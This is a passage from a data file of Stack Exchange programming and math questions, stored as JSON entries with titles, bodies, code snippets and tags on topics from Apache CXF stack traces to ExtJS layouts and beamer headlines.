at={(0.5, 1.5)},\n anchor=north,\n },\n width=.3\\
linewidth,\n view={0}{90},\n colormap/hot2,\n colorbar
horizontal,\n colorbar style={\n at={(0.5, 1.02)},\n
anchor=south,\n xticklabel pos=upper,\n },\n]\n\\addplot3
[surf, shader=\\shader] table {\\data};\n\\end{axis}\n\\end{tikzpicture}\n}\n\\
end{document}\n", "pgfplots"], "1780030": ["Make Visual Studio not erase release
folder for setup projects", "This is a major pet peeve of mine. I use SVN and when
I roll out a new version, I make a new setup for it. The \"compile\" behaviour for
setup projects is different from most projects. Instead of the
default:\n\nbin/Debug\nbin/Release\nobj/Debug\nobj/Release\n\nThere are simply two
folders, Debug and Release. The setup compiles and deletes the Release folder, only
to make a new Release folder and put the goods in them.\nSo naturally, this doesn't
agree with SVN, as its .svn folder gets erased at every build.\nIs there an option
to instruct Visual Studio to NOT erase the folder, just the content?\nFYI, this has
been around in every version, from VS 2003 to 2010.\n", "", "svn visual-studio
setup"], "4476115": ["What is causing this ClassLoader StackOverflowError when
using Apache CXF webclient?", "I am encountering a StackOverflowError when tying to
use Apache CXF Webclient on my production systems only.\nI am using a 32bit
jdk1.6.0_26 on 64bit windows 2008.\nI thought it might have something to do with
Jaxb, but I have checked that I do not have any version of jaxb-impl on the class
path (should be using the JDK one).\nAny suggestions on what this might be? Or how
I can diagnose it?\n\n", "java.lang.StackOverflowError\n at
java.util.Vector.addElement(Vector.java:572)\n at
java.lang.ClassLoader.addClass(ClassLoader.java:166)\n at
java.lang.ClassLoader.defineClass1(Native Method)\n at
java.lang.ClassLoader.defineClassCond(ClassLoader.java:631)\n at
java.lang.ClassLoader.defineClass(ClassLoader.java:615)\n at
java.security.SecureClassLoader.defineClass(SecureClassLoader.java:141)\n at
java.net.URLClassLoader.defineClass(URLClassLoader.java:283)\n at
java.net.URLClassLoader.access$000(URLClassLoader.java:58)\n at
java.net.URLClassLoader$1.run(URLClassLoader.java:197)\n at
java.security.AccessController.doPrivileged(Native Method)\n at
java.net.URLClassLoader.findClass(URLClassLoader.java:190)\n at
java.lang.ClassLoader.loadClass(ClassLoader.java:306)\n at
sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:301)\n at
java.lang.ClassLoader.loadClass(ClassLoader.java:247)\n at
java.lang.ClassLoader.defineClass1(Native Method)\n at
java.lang.ClassLoader.defineClassCond(ClassLoader.java:631)\n at
java.lang.ClassLoader.defineClass(ClassLoader.java:615)\n at
java.security.SecureClassLoader.defineClass(SecureClassLoader.java:141)\n at
java.net.URLClassLoader.defineClass(URLClassLoader.java:283)\n at
java.net.URLClassLoader.access$000(URLClassLoader.java:58)\n at
java.net.URLClassLoader$1.run(URLClassLoader.java:197)\n at
java.security.AccessController.doPrivileged(Native Method)\n at
java.net.URLClassLoader.findClass(URLClassLoader.java:190)\n at
java.lang.ClassLoader.loadClass(ClassLoader.java:306)\n at
sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:301)\n at
java.lang.ClassLoader.loadClass(ClassLoader.java:247)\n at
java.lang.ClassLoader.defineClass1(Native Method)\n at
java.lang.ClassLoader.defineClassCond(ClassLoader.java:631)\n at
java.lang.ClassLoader.defineClass(ClassLoader.java:615)\n at
java.security.SecureClassLoader.defineClass(SecureClassLoader.java:141)\n at
java.net.URLClassLoader.defineClass(URLClassLoader.java:283)\n at
java.net.URLClassLoader.access$000(URLClassLoader.java:58)\n at
java.net.URLClassLoader$1.run(URLClassLoader.java:197)\n at
java.security.AccessController.doPrivileged(Native Method)\n at
java.net.URLClassLoader.findClass(URLClassLoader.java:190)\n at
java.lang.ClassLoader.loadClass(ClassLoader.java:306)\n at
sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:301)\n at
java.lang.ClassLoader.loadClass(ClassLoader.java:247)\n at
java.lang.ClassLoader.defineClass1(Native Method)\n at
java.lang.ClassLoader.defineClassCond(ClassLoader.java:631)\n at
java.lang.ClassLoader.defineClass(ClassLoader.java:615)\n at
java.security.SecureClassLoader.defineClass(SecureClassLoader.java:141)\n at
java.net.URLClassLoader.defineClass(URLClassLoader.java:283)\n at
java.net.URLClassLoader.access$000(URLClassLoader.java:58)\n at
java.net.URLClassLoader$1.run(URLClassLoader.java:197)\n at
java.security.AccessController.doPrivileged(Native Method)\n at
java.net.URLClassLoader.findClass(URLClassLoader.java:190)\n at
java.lang.ClassLoader.loadClass(ClassLoader.java:306)\n at
sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:301)\n at
java.lang.ClassLoader.loadClass(ClassLoader.java:247)\n at
java.lang.ClassLoader.defineClass1(Native Method)\n at
java.lang.ClassLoader.defineClassCond(ClassLoader.java:631)\n at
java.lang.ClassLoader.defineClass(ClassLoader.java:615)\n at
java.security.SecureClassLoader.defineClass(SecureClassLoader.java:141)\n at
java.net.URLClassLoader.defineClass(URLClassLoader.java:283)\n at
java.net.URLClassLoader.access$000(URLClassLoader.java:58)\n at
java.net.URLClassLoader$1.run(URLClassLoader.java:197)\n at
java.security.AccessController.doPrivileged(Native Method)\n at
java.net.URLClassLoader.findClass(URLClassLoader.java:190)\n at
java.lang.ClassLoader.loadClass(ClassLoader.java:306)\n at
sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:301)\n at
java.lang.ClassLoader.loadClass(ClassLoader.java:247)\n at
java.lang.ClassLoader.defineClass1(Native Method)\n at
java.lang.ClassLoader.defineClassCond(ClassLoader.java:631)\n at
java.lang.ClassLoader.defineClass(ClassLoader.java:615)\n at
java.security.SecureClassLoader.defineClass(SecureClassLoader.java:141)\n at
java.net.URLClassLoader.defineClass(URLClassLoader.java:283)\n at
java.net.URLClassLoader.access$000(URLClassLoader.java:58)\n at
java.net.URLClassLoader$1.run(URLClassLoader.java:197)\n at
java.security.AccessController.doPrivileged(Native Method)\n at
java.net.URLClassLoader.findClass(URLClassLoader.java:190)\n at
java.lang.ClassLoader.loadClass(ClassLoader.java:306)\n at
sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:301)\n at
java.lang.ClassLoader.loadClass(ClassLoader.java:247)\n at
java.lang.ClassLoader.defineClass1(Native Method)\n at
java.lang.ClassLoader.defineClassCond(ClassLoader.java:631)\n at
java.lang.ClassLoader.defineClass(ClassLoader.java:615)\n at
java.security.SecureClassLoader.defineClass(SecureClassLoader.java:141)\n at
java.net.URLClassLoader.defineClass(URLClassLoader.java:283)\n at
java.net.URLClassLoader.access$000(URLClassLoader.java:58)\n at
java.net.URLClassLoader$1.run(URLClassLoader.java:197)\n at
java.security.AccessController.doPrivileged(Native Method)\n at
java.net.URLClassLoader.findClass(URLClassLoader.java:190)\n at
java.lang.ClassLoader.loadClass(ClassLoader.java:306)\n at
sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:301)\n at
java.lang.ClassLoader.loadClass(ClassLoader.java:247)\n at
java.lang.ClassLoader.defineClass1(Native Method)\n at
java.lang.ClassLoader.defineClassCond(ClassLoader.java:631)\n at
java.lang.ClassLoader.defineClass(ClassLoader.java:615)\n at
java.security.SecureClassLoader.defineClass(SecureClassLoader.java:141)\n at
java.net.URLClassLoader.defineClass(URLClassLoader.java:283)\n at
java.net.URLClassLoader.access$000(URLClassLoader.java:58)\n at
java.net.URLClassLoader$1.run(URLClassLoader.java:197)\n at
java.security.AccessController.doPrivileged(Native Method)\n at
java.net.URLClassLoader.findClass(URLClassLoader.java:190)\n at
java.lang.ClassLoader.loadClass(ClassLoader.java:306)\n at
sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:301)\n at
java.lang.ClassLoader.loadClass(ClassLoader.java:247)\n at
org.apache.cxf.bus.spring.SpringBusFactory.createBus(SpringBusFactory.java:102)\n
at org.apache.cxf.bus.spring.SpringBusFactory.createBus(SpringBusFactory.java:91)\n
at org.apache.cxf.bus.spring.SpringBusFactory.createBus(SpringBusFactory.java:69)\n
at org.apache.cxf.bus.spring.SpringBusFactory.createBus(SpringBusFactory.java:58)\n
at org.apache.cxf.BusFactory.getDefaultBus(BusFactory.java:99)\n at
org.apache.cxf.BusFactory.createThreadBus(BusFactory.java:165)\n at
org.apache.cxf.BusFactory.getThreadDefaultBus(BusFactory.java:155)\n at
org.apache.cxf.BusFactory.getThreadDefaultBus(BusFactory.java:140)\n at
org.apache.cxf.endpoint.AbstractEndpointFactory.getBus(AbstractEndpointFactory.java
:83)\n at
org.apache.cxf.jaxrs.AbstractJAXRSFactoryBean.getBus(AbstractJAXRSFactoryBean.java:
89)\n at
org.apache.cxf.jaxrs.AbstractJAXRSFactoryBean.createEndpointInfo(AbstractJAXRSFacto
ryBean.java:133)\n
at
org.apache.cxf.jaxrs.AbstractJAXRSFactoryBean.createEndpoint(AbstractJAXRSFactoryBe
an.java:216)\n at
org.apache.cxf.jaxrs.client.JAXRSClientFactoryBean.createWebClient(JAXRSClientFacto
ryBean.java:195)\n at
org.apache.cxf.jaxrs.client.WebClient.create(WebClient.java:90)\n", "java jaxb
cxf"], "3901559": ["XmlReader loop through node", "Hey all i have the following
code:\n\nThat code works just fine above but i am having problems with looping
through the Airings part.\nThe XML for that part looks like this:\n\n", " Using
reader As XmlReader = XmlReader.Create(New StringReader(xmlString))\n
reader.ReadToFollowing(\"GridChannel\")\n Dim Channel As String =
reader.GetAttribute(\"Channel\")\n Dim DisplayName As String =
reader.GetAttribute(\"DisplayName\")\n\n
reader.ReadToFollowing(\"Airings\")\n
reader.ReadToFollowing(\"GridAiring\")\n\n Dim Title As String =
reader.GetAttribute(\"Title\")\n Dim EpisodeTitle As String =
reader.GetAttribute(\"EpisodeTitle\")\n Dim AiringTDurationime As String =
reader.GetAttribute(\"AiringTDurationime\")\n Dim isHD As Boolean =
Convert.ToBoolean(reader.GetAttribute(\"isHD\"))\n Dim TVRating As String =
reader.GetAttribute(\"TVRating\")\n End Using\n", "xml vb.net parsing xml-
parsing xmlreader"], "1713144": ["titanium mobile: get row title in android issue",
"Hello friends,\nI am developing an app in Titanium and I have a tableview with
display data and on click on row I got row title successfully in iPhone and its
work fine but in Android I can't get row title so please give me idea.\n\nThanks in
advance. \n", "friendTableView.addEventListener('click',function(e)\n{\n
if(e.row)\n {\n alert(e.rowData.mobileNo);\n var mobileNo =
e.rowData.mobileNo;\n alert(mobileNo);\n }\n}\n", "tableview titanium-
mobile"], "2387438": ["iOS download non-consumable content from server with in-app
purchase", "I've read and searched all I could on the iOS in-app topic. At least
from Google (minus the endless in-app hacking links). One thing that I am not able
to find is instructions or tutorials on how to grab the content from the server and
storing it onto the phone after receipt verification. I get that I can either store
the content on my own server or package it up using application loader and have
Apple host it. I get the whole non-consumable content and using your own server or
NSUserDefaults to remember purchased items. What I can't find is coding tutorials
on how to get the in-app purchase content from either my own server or Apple's and
where on the phone can I store it? normal socket call? can I store the content in
the app's directory?\nAs an example, I have an existing app that I would like to
sell new images via in-app purchases. The existing images are in a bundle. How do I
go about getting the bundled images from the server back into my app? I'm okay with
new bundles for each purchase, I understand that you cannot modify an existing
bundle.\n", "", "objective-c ios in-app-purchase"], "689453": ["ExtJs 4 MVC Nested
Layouts", "I'm trying to implement a simple framework for an app. The idea is to
create a background viewport type 'layout' with a north region containing the page
header and an interchangeable center region.\nWhen my app starts, a Login form is
shown. If the user/password is ok, the form is destroyed and the main layout should
appear. The main layout should insert a nested layout in its center region.\nThis
is my background layout code:\n\nThe main layout is this:\n\nAs you can see, the
center region needs an xtype named \"mygridpanel\". This is the code for it:\n\nMy
problem is that when I call Ext.create('DEMO.view.BackgroundLayout', {}); it only
shows the nested layout, and the background layout is hidden, also I get this error
in Chrome's console:\n\nWhat I'm doing wrong?.\nThanks in advance,\nLeonardo.\n",
"Ext.define('DEMO.view.BackgroundLayout', {\n extend: 'Ext.container.Viewport',\
n alias: 'widget.background',\n requires: [\n 'DEMO.view.Main'\
n ],\n\n layout: {\n type: 'border'\n },\n\n initComponent:
function() {\n var me = this;\n Ext.applyIf(me, {\n items:
[\n {\n region: 'north', \n
html: '<h1 class=\"x-panel-header\">Page Title</h1>'\n },\n
{\n xtype: 'mainview',\n region: 'center',\n
forceFit: false,\n height: 400 \n }\n
]\n });\n\n me.callParent(arguments);\n }\n});\n", "javascript
extjs extjs-mvc"], "3556909": ["Equal border-left and border-right height in CSS",
"\n\nHow can I make border-left the same height as border-right? In other words,
how to change the order of the borders? Border-left is taller than border-right.
Which results in a 1px \"gap\".\n\n", ".tab-header > ul > li\n{\ndisplay: inline-
block;\nbackground-color: #ffffff;\nborder-bottom: 1px solid #ffffff;\nborder-left:
1px solid #cecece;\nborder-right: 1px solid #cecece;\nborder-top: 1px solid
#cecece;\npadding: 8px;\nfont-size: 10px;\ntext-transform: uppercase;\n}\n", "css
border"], "689459": ["SSIS package runs fine but Sql Server JOB fails", "Actually
am having a package which is loading one of my table of database.\nWhen i run the
SSIS package individually the package is running fine at first.\nBut when i execute
the job on sql. The job fails & the Database table records becomes empty.\nAfter
that the SSIS pacake also fails to run.\nThe cause of job failure is giving primary
key violation for that table.\nPlease help me out as soon as can.\nIts urgent.\
nEDIT: The package is simply importing the data to this table.\nthanks in advance.\
n", "", "sql ssis"], "5074142": ["apply customized theming to jquery mobile", "how
to apply theming using some other images in jquery mobile page other than swatches
of jquery mobile to make it attractive\n\n", "my code is\n <div data-
role=\"fieldcontain\" style=\"width: 50%\">\n <label
for=\"selectmenu22\">\n <span style=\"font-
family: times new roman,times; \n font-size: medium;\"><b>Address Type:\n
</b></span>\n </label>\n
<select name=\"ddlAddressType\" id=\"ddlAddresstype\" data- \n\n\n\n theme=\"b\"
data-mini=\"true\"\n runat=\"server\"
required=\"required\">\n </select>\n
</div>\n", "jquery-mobile"], "2806446": ["Using BCC in place of CC", "Could you
point me to a good and trustworthy reference on the web that would explain in a
simple language why it is not a good practice to use CC when you sent email to
multiple people who do not know each other.\nI keep receiving emails that are cc to
many people. I would like to reply to the sender that I would rather not have my
email address visible to all the other people on the cc list (which I do not know)
and point them to a good reference on the web that would explain why. Ideally if
that was published within some well known domain.\n", "", "email privacy bcc"],
"2378561": ["ASP.NET MVC Repository Pattern", "Would you please telling me how to
define a service class, the repository layer is somewhat easy to be defined since
each repository class correspond to an entity in database,but there's nothing for
me to rely on when I want to define a service class. Does a service class
correspond to a specified entity in database also ? I think that a service class
just wraps up a repository class and defines some extended method with the help of
the repository.\nFor example : the BookService wraps up the BookRepository and only
the BookRepository is wrapped inside the BookService , there's no other repository
wrapped inside the BookService\nThank you :) ! \n", "", "asp.net-mvc-3"],
"3519731": ["SignalR- how to bind contact list in my ASP.NET web chat", "As titled,
i started to develop a web chat system by using SignalR. But i wonder the contact
list should bind in my aspx code behind or bind when signalR hub is started. i
refer the web chat build using SignalR called JabbR. The contact list in JabbR is
similar what i want to achieve. But the contact list in my case will show online
and offline user, unlike all sample SignalR chat program i refer will only show
online contact.\nCan anyone suggest me the proper way to bind my contact list??\
nFurther elaboration: my web project is not MVC, and the contact list in my web
chat i try to achieve is like this:\nChat contacts.\nThere is a agent contact
showing other agent server the same customer, and the customer contact show only
customer assigned to them.\n", "", "asp.net chat signalr"], "5226850": ["Problem
with autoresizing when iPhone is rotated", "In my iPhone app, I have a view (let's
call it RectangleView) within the content view that I'd like to scale, along with
all its subviews, when the iPhone is rotated. So, when the phone is rotated from
landscape to portrait mode, I'd like RectangleView (and all its subviews) to keep
their original shape and position relative to each other, but just get smaller. I
am using autoresizing on it and all its subviews in Interface Builder to try and do
this.\nNow here's the problem. When the phone is rotated, all of RectangleView's
subviews scale and move relative to the entire content view, not relative their
parent view (which is RectangleView). This is a problem because the content view is
now a different shape (portrait) than it was before (landscape), and so all the
elements on the screen are in the wrong places, when they should just be scaled
down within RectangleView. And I am confused because
some of these elements even move out of RectangleView, which I didn't even know
was possible since they are supposed to be contained within RectangleView.\nCan
anyone explain what might be happening here, and how I can just scale RectangleView
and all its subviews to retain their original shape and positions, but just on a
smaller scale? Thanks in advance!\n", "", "iphone rotation autoresize"],
"5593126": ["making drag and drop upload with less javascript", "I'm trying to make
an upload holder for my website, so users can easily drag and drop a file on it.\
nthere is a lot of libraries and events for doing that, but I need a simple way.\
nthis (thought) came to my mind...\nI put a to the page and sets and .\nnow when
my user drag a file on it, event will work.\nbut I want to hide browse button and
there is two way:\nset .(it is not working in some browsers)\nset .(the thought is
not working)\nhelp me, what else I can try?\n", "file input", "javascript jquery
html css browser"], "1427954": ["C# .NET How can I show an image on WebBrowser
control?", "How can I show an image on a webbrowser control in C#/.NET? I'm doing
something like \n\nbut the image doesn't appear. What am I doing wrong?\n",
"webBrowser1.DocumentText = \"<html><head></head><body><img
src=imagelocationURL.png/></body></html>\"\n", "c# .net webbrowser-control"],
"6013947": ["How to show grid with root in jqGrid in JSON", "I have a server that
returns JSON in the following format:\n\nHTML file has:\n \nJS file is:\n\
njQuery().ready(function () {\n jQuery(\"#list2\").jqGrid({\n url:
'Default.aspx?query=SELECT VALUE s FROM ModelContainer.StudentSet AS s WHERE s.Name
= \\'Student2\\'',\n datatype: \"json\",\n colNames: ['Name',
'Email'],\n colModel: [\n { name: 'Name', index: 'Name', width:
200 },\n { name: 'Email', index: 'Email', width: 500 }\n ],\n
rowNum: 10,\n rowList: [10, 20, 30],\n pager: '#pager1',\n
sortname: 'Name',\n viewrecords: true,\n sortorder: \"desc\",\n
caption: \"JSON Example\",\n jsonReader: {\n repeatitems: true,\n
id: \"0\",\n cell: \"\",\n //root: \"\",\n
records: function (obj) {\n return obj.length;\n }\n
}\n });\n jQuery(\"#list1\").jqGrid('navGrid','#pager1',
{edit:false,add:false,del:false});\n});\n\nSince my JSON is already the root of
data wanted, I don't know what to what with the column. I've tried with not
writing anything about root, or , neither has an output. But firebug shows that
JSON is received correctly.\nI don't know if this has anything to do with the root.
Any suggestion?\n",
"[{\"Name\": \"Student1\", \"Email\": \"Email1\", \"CellPhone\": null},\
n{{\"Name\": \"Student2\", \"Email\": \"Email2\", \"CellPhone\": null}]\n", "jquery
json jqgrid"], "3966560": ["Show a Basic Webpage in Basic4Android?", "I am looking
everywhere ad just cant to find a good answer to this. I looked everywhere but
found nothing Read all of the html and webview tutorials too. So what i have done
is that i have a new project in the basic4android. All i want to do is display a
webpage thats full screen. I have tried many different code and i found one here
that made sense but still did not work for me. But is there anyone that can show me
how to show a basic webpage in Basic4Android???\n\n", "Sub MyOfficeWeb\n Dim myw
As WebView\n myw.Initialize(\"myw\")\n Activity.AddView(myw, 0, 0, 100%x, 100%y)
'Your options for size here\n myw.LoadUrl(\"http://www.yourwebsite.com\")\nEnd
Sub\n", "webview basic4android"], "5551645": ["Coldfusion 9 losing connection to
MySQL 5 database server a couple of weeks after the server is started", "We get the
following Coldfusion error message after our server have been running for a couple
of weeks:\n\nError Executing Database Query.Could not create connection to
database\n server. Attempted reconnect 3 times\n\nWe run Coldfusion Enterprise 9
on a one year old XServer with Snow Leopard and MySQL 5 The server has about ten
DSN set up in the Coldfusion Administrator All local, with default advanced
settings, and host set to \"localhost\" The server is not under heavy load.\nThe
strange thing is that after a restart of the server, everything works fine. Then
after a week or so, some databases will stop working, in the sense that Coldfusion
cannot create a connection to them. If I then go to the Coldfusion Administrator
and click \"Verify all datasources\", I will get that only 2 or 3 got verified, the
other ones failed, and it is always the same datasources that can't be verified
when the server starts to behave like this if I try to verify again, BUT NOT
neccessary the same datasources that couldn't be verified the last time the server
behaved like this.\nI know about the setting \"max_connections\" and we have
included a line for that setting in the MySQL config file and set it to 2000, and
when we read it by a query it says \"2000\", so that can't be the problem.\nThere's
no useful info in the mysql_service.log\nWe have also tried flushing the hosts, as
I read about in one forum, to check if the MySQL server has \"banned\" our user,
without result.\nAnyone?\n", "", "mysql coldfusion xserver"], "1933813": ["SBCL
Error Messages: Any way to improve?", "I've been developing with Common Lisp for
almost a year now, and this is really starting to get on my nerves. I started
programming CL using CLISP, but I later switched over to SBCL for speed. I do a lot
of rather low-level stuff, so I need to interface with a lot of C code. I really
like the incremental development aspect of CL (I don't use Emacs however - I'm
running SLIMV in Vim), but I find myself developing more slowly than I would in
Python, Perl, C, or even NASM. The root of the problem lies in SBCL's error
messages. I once was forced to search through almost 500 lines of code because SBCL
decided to give me an . No designation of what function was called, no line number,
nothing. More recently, I've had the delight of getting randomly. The code runs
FINE on CLISP, but just fails with obscure errors on SBCL. Is there any way to make
these messages somewhat more informative? I've been writing C and assembly for
almost 6 years now, and even they will give you a line number. The only halfway
reasonable SBCL errors I've seen have been reader errors, which are almost useless
because they usually amount to a missing parenthesis. Again, is there any
declaration/command line switch that can be used to change this? I'd even be okay
with writing my own error printer at this point.\nEDIT:\nAn example, with in my
~/.sbclrc (using --load rather than --script so .sbclrc is loaded)\n\nNot exactly
informative.\n", "ERROR: Invalid number of arguments on foreign function #< some
memory address >", "compiler-errors common-lisp sbcl"], "592835": ["Download Pages
From SharePoint for Deployment to Another SharePoint Site", "Are there any tools or
methods I can use to pull down .aspx pages from SharePoint into Visual Studio?\nI'm
developing a SharePoint site on a development environment, for use in several other
locations. All of the content I create needs to be created programatically so I
can quickly deploy and test on multiple locations. \nI'm most familiar with
SharePoint development using the site and SharePoint Designer. I would like to be
able to pull pages down that I've developed on the site, so I can then deploy those
pages to other locations and make modifications in visual studio. \nWhat I'm
trying to avoid is creating features to custom-build every page on my site. I'd
much rather design pages the way I'm used to and then deploy them.\nI understand
that SharePoint 2010 uses ghosting and stores content in the database, so this may
not be an easy task.\n", "", "visual-studio-2010 sharepoint2010 sharepoint-
designer"], "5577235": ["template not loading in backbone.js ( TypeError: text is
undefined )", "I'm learning backbone.js and I'm pretty much in the beginning. I
want to add a template through underscore template method but it's not working for
me. I searched for this error but couldn't fix it myself. How can I move forward if
it's not showing the template. Need some help guys.\nHere is the code (this code is
from addyosmani's book backbone-fundamentals):\n\n", "<!DOCTYPE html>\n<html>\
n<head>\n<meta charset=\"utf-8\">\n<title>testing</title>\n</head>\n<body>\n<script
src=\"scripts/jquery.js\"></script>\n<script
src=\"scripts/underscore.js\"></script>\n<script
src=\"scripts/backbone.js\"></script>\n<script>\n\n\n var TodoView =
Backbone.View.extend({\n tagName: 'li',\n // Cache the template function for
a single item.\n todoTpl: _.template( $('#item-template').html() ),\n\n
events: {\n 'dblclick label': 'edit',\n 'keypress .edit': 'updateOnEnter',\n
'blur .edit': 'close'\n },\n\n // Re-render the titles of the todo item.\n\n
render: function() {\n this.$el.html( this.todoTpl( this.model.toJSON() ) );\n
this.input = this.$('.edit');\n return this;\n },\n\n edit: function() {\n
// executed when todo label is double clicked\n },\n\n close: function() {\n
// executed when todo loses focus\n },\n\n updateOnEnter: function( e ) {\n
// executed on each keypress when in todo edit mode,\n // but we'll wait for
enter to get in action\n }\n\n });\n\n\n var todoView = new TodoView();\n
// logs reference to a DOM element that cooresponds to the view instance\n
console.log(todoView.el);\n", "backbone.js underscore.js"], "1744412": ["overfull
vbox with beamercolorbox", "In a latex-beamer document, I am using a custom
headline template. It produces a headline only when in a section. Here is a
stripped down version:\n\nHowever, this code produces an \"overfull vbox\": \nI
could
ignore it because the result looks fine, but I'd like to know why this is
happening and how I could deal with it, mostly because it is irritatint to see this
printed out over 200 times.\n(Note: this does not happen when commenting out lines
6 and 12, the ones with \\if and \\fi.)\n", "\\documentclass{beamer}\n\\
usepackage{times} % gets rid of fontsize warnings\n\\setbeamercolor{section in
head}{bg=yellow!80!black,fg=structure} \n%% \\setbeamercolor{lower separation line
head}{bg=yellow!50!black}\n\\setbeamertemplate{headline}{\n \\ifx\\
insertsection\\empty\\else\n \\usebeamerfont{section in head}\n \\
begin{beamercolorbox}[ht=2ex,dp=1ex,leftskip=2ex]{section in head}\n \\
insertsection \n \\end{beamercolorbox}\n %%\\begin{beamercolorbox}
[colsep=0.5pt]{lower separation line head}\\end{beamercolorbox}\n \\fi\n \\
vspace*{5pt}\n}\n\n\\begin{document}\n\\begin{frame}\n % frame has empty headline\
n\\end{frame}\n \\section{A Section}\n\\begin{frame}\n % frame headline shows
section title\n\\end{frame}\n\\end{document}\n", "beamer spacing warnings"],
"4500146": ["Does capybara replace selenium?", "When using capybara for testing, do
you still need the likes of selenium?\nWhat are the advantages of either solution?
\n", "", "ruby-on-rails selenium capybara"], "889050": ["Adjust web content
according to device location in a wifi area (proximity detection)", "I have an open
wifi hotspot and a web server and I'm trying to set up a kind of proximity
marketing. Basically I'd like to adjust the content of the web pages sent by my web
server providing specific information according to the geographic position of the
device that is running the web client.\nThis should allow a user to connect his
device and surf to a static URL and then, when walking around the hotspot area,
read special contents each time he walks near some places (i.e. a statue).\nAs I
said, I have full access and can manage both the wifi infrastructure and the web
server, but I need to accomplish this using wifi only (i.e. without involving
bluetooth, umts or other technologies).\nI've heard about WPS but I can't
understand how that works.\nAny pointer or suggestion is really appreciated.\nThank
you!\n", "", "wifi proximity"], "4459769": ["I really need to know the steps - how
to insert my own html template into umbraco?", "I really need to know the steps -
how to insert my own html template into umbraco?\n\n", "", "templates umbraco"],
"4479035": ["How to add code in mobile application build in netbeans", "I have made
a mobile application using net-beans, now i want to add my code in that application
but its not working, this is my first mobile application please help me out.\n",
"", "netbeans mobile java-me j2mepolish netbeans6.7"], "81482": ["symfony2 error:
Unrecognized options \"facebook\" under \"security.firewalls.secured_area\"", "I
have that error\nInvalidConfigurationException: Unrecognized options \"facebook\"
under \"security.firewalls.secured_area\"\nsecurity.yml\nsecurity:\n factories:\
n -
\"%kernel.root_dir%/../src/Dige/FacebookBundle/Resources/config/security_factories.
yml\"\n encoders:\n Dige\\FacebookUserBundle\\Security\\FacebookUser:
sha512\n Dige\\UserBundle\\Entity\\User:\n algorithm:
sha1\n encode_as_base64: false\n iterations: 1\n\n",
"role_hierarchy:\n ROLE_ADMIN: ROLE_USER\n ROLE_SUPER_ADMIN:
[ ROLE_USER, ROLE_ADMIN, ROLE_ALLOWED_TO_SWITCH ]\n\nproviders:\n user_db:\n
entity: { class: DigeUserBundle:User}\n\n\nfirewalls:\n secured_area:\n
pattern: ^/\n anonymous: ~\n form_login:\n login_path:
/login\n check_path: /login_check\n logout:\n path:
/logout\n target: /login\n facebook:\n
facebook_secured:\n pattern: /index\n facebook: true\n\n\
n\n\naccess_control:\n - { path: ^/login, roles: IS_AUTHENTICATED_ANONYMOUSLY }\
n\n - { path: ^/show, roles: ROLE_USER }\n - { path: ^/admin, roles:
ROLE_ADMIN }\n", "symfony2"], "5052885": ["For $n$ an odd, positive, square-free
integer, there exists an odd prime $p$ with $\\left( \\frac{n}{p} \\right) = -1$",
"I'd like to prove that for $n$ an odd, positive, square-free integer, there exists
an odd prime $p$ with $\\left( \\frac{n}{p} \\right) = -1$\nI'm drawing a complete
blank here. Any help would be appreciated!\nThanks\n", "", "number-theory"],
"2140959": ["Binding to Dataset Selected Row", "Is there any way bind textboxes to
the row of a dataset that is selected in a combobox? For example I have a dataset
with 2 columns, one called name (this is the primary key) and the other is called
author. I would like to set up databinding so that when the user selects the name
in the combobox the corresponding author appears in the text of a textbox.\
nSpecifically I want to know if this can be done through databinding or if it will
require code for the selecteditemchanged event, or if it should be done using a
value converter. \nI think it would be possible to do with a value converter, but I
was hoping it could be accomplished entirely in XAML.\n", "", "wpf binding
dataset"], "2832751": ["What's the relationship between the Ham Sandwich Theorem
and the PPAD Complexity Class?", "Wiki says:\n\"The Ham sandwich theorem is known
to lie in PPAD but it remains an open question as to whether or not it is PPAD-
complete.\"\nWhat is the computational problem based on the Ham Sandwich Theorem to
which this sentence refers? Intuitively, I would think the problem would be \"find
a ham sandwich cut for a set of points in $\\mathbb{R}^n$,\" but that can't be
right - we know how to solve the problem in linear time in the two-dimensional
case, which would seem pretty strong evidence that this problem is not PPAD-
complete.\nEDIT: I found a claim here that the problem is:\n\"Given n sets of 2n
points (each) in n dimensions, is there a single hyperplane that bisects each set
(i.e divides it into two sets of size n).\"\nIf this is true, then my question
becomes: how can this problem be PPAD-complete? I thought PPAD-complete problems
were search problems (such as End-Of-The-Line, 2-Nash, etc.) and not decision
problems.\n", "", "geometry computational-complexity"], "308965":
["RegisterClientScriptBlock in usercontrol doesnot work when integrated with
masterpage", "I have an issue with RegisterClientScriptBlock() when I integrated
masterpage. In the content page I have a user control and it have a function to
make a div visible false. the function is \n\nThis function is called in the page
load of the user control. \nThis worked fine when the page didint have masterpage.
After integrating it with master page the script doesnt seems to be working. How
can we call in this scenario??\n", " Private Sub RegisterJavaScript()\n
Dim script As String\n\n script = \"<script type=\"\"text/javascript\"\"
> \" + vbCr _\n + \"function show_attachment_form()\" + vbCr _\n + \" {\" +
vbCr _\n + \" var myElement =document.getElementById('\" +
Me.attachmentform.ClientID + \"');\" + vbCr _\n + \"
myElement.style.visibility='visible';\" + vbCr _\n + \" var docName
= document.getElementById('\" + Me.TxtDocName.ClientID + \"');\" + vbCr _\n
+ \" var docDesc = document.getElementById('\" + Me.TxtDocDesc.ClientID
+ \"');\" + vbCr _\n + \" docName.innerText = '';\" + vbCr _\n
+ \" docDesc.innerText= '';\" + vbCr _\n + \" var myElement
=document.getElementById('errormessage');\" + vbCr _\n + \"
myElement.style.visibility='hidden';\" + vbCr _\n + \" }\" + vbCr _\n+ \"
</script>\"\n\n\n
Me.Page.ClientScript.RegisterClientScriptBlock(Me.GetType, \"show_attachment_form\"
, script)\n\n End Sub\n", "asp.net usercontrols master-pages"], "5593124":
["android connect to mysql database directly using mysql-connector", "I am working
on an android app and have to use remote database for data storage.I have two
options, first create a REST API using php.Second option is connect directly to
mysql db with JDBC using mysql-connector-java-5.1.18-bin.jar. I am not familiar
with second one but i want to confirm which method will be feasible and why?. \n",
"", "java android mysql rest jdbc"], "3372677": ["Space after itemize only if no
text follows", "My problem with the following example:\n\nIf there is text after a
list (itemize), everything looks just fine.\nIf there isn't, there is a blank line
